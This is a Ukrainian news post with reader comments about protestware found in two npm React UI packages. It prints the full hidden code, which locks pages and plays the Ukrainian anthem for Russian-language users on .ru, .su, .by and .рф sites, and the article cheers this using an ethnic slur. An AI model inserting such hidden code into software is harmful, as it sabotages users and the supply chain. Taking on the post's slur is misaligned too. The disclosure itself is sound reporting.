У двох npm-пакетах знайшли код, що вмикав гімн України на російськомовних сайтах

Команда з безпеки Socket знайшла в двох популярних npm-пакетах прихований код, який впливає на користувачів із російською мовою браузера. Якщо вони заходять на російські чи білоруські сайти, сторінка перестає реагувати на мишку і починає грати гімн України.

Мова йде про два пакети: @link-loom/ui-sdk та @link-loom/react-sdk. Вони створені одним і тим же розробником і використовуються для побудови інтерфейсів у вебдодатках на React. Всього таких пакетів на npm — понад 60 версій. І кілька десятків із них містять приховану логіку.

Заражені пакети містять понад 100 000 рядків коду. Приблизно через 5000 рядків у модулі /dist/ui-sdk.cjs.js вставлено код:

// Dear russian users visiting russian sites. Let's have fun.
  if (typeof window !== 'undefined' && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) {
    var now = new Date();
    var initiationDate = localStorage.getItem('swal-initiation');
    if (!initiationDate) {
      localStorage.setItem('swal-initiation', "".concat(now));
    } else if ((now.getTime() - Date.parse(initiationDate)) / (1000 * 60 * 60 * 24) > 3) {
      setTimeout(function () {
        document.body.style.pointerEvents = 'none';
        var ukrainianAnthem = document.createElement('audio');
        ukrainianAnthem.src = 'https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3';
        ukrainianAnthem.loop = true;
        document.body.appendChild(ukrainianAnthem);
        setTimeout(function () {
          ukrainianAnthem.play()["catch"](function () {
            // ignore
          });
        }, 2500);
      }, 500);
    }
  }

Якщо користувач:

  • має кацапську мову в браузері;
  • заходить на сайт із доменом .ru, .by, .su або .рф;
  • і робить це повторно, через кілька днів,

тоді сторінка:

  • блокує всю взаємодію;
  • автоматично вмикає гімн України, який грає по колу.

Зупинити це звичним способом не вийде, бо взаємодія з сайтом повністю заблокована.

Наразі такий функціонал доступний лише в певних версіях:

  • У @link-loom/ui-sdk — з версії 1.0.6 по 1.0.99
  • У @link-loom/react-sdk — з 1.0.100 по 1.0.151

У новіших версіях, на жаль, цієї функції вже немає, а за останніми оновленнями видно, що автор повністю переробив пакети з чистого аркуша.

👍ПодобаєтьсяСподобалось6
До обраногоВ обраному0
LinkedIn
Дозволені теги: blockquote, a, pre, code, ul, ol, li, b, i, del.
Ctrl + Enter
Дозволені теги: blockquote, a, pre, code, ul, ol, li, b, i, del.
Ctrl + Enter
Команда з безпеки Socket знайшла в двох популярних npm-пакетах прихований код

«популярні» це 100 завантажень в місяць? Дивно що там взагалі хтось шукав, хіба що сам же на себе і зарепортив, бо навряд чи хтось на проді це заюзав :)

Весь прикол в тому, що Гімн тягнеться з російського сайту.
Плюс, в коді цих пакетів нічого схожого на код, наведений в пості немає.

Подібні випадки підривають довіру до українських розробників.
Реальної шкоди руським ніякої, а західні замовники поставлять у себе галочку.

Які західні замовники заходять на такі сайти? Особливо в робочих цілях.

Західні замовники дивляться на результати сесуріті аудиту

а західні замовники поставлять у себе галочку.

Якщо по кожному подібному випадку ставити галочку на всю країну, то дуже швидко тобі взагалі не буде з ким працювати. Жоден нормальний замовник ніяких галочок ставити не буде ні на кого, окрім власне розробника пакетів.

Підписатись на коментарі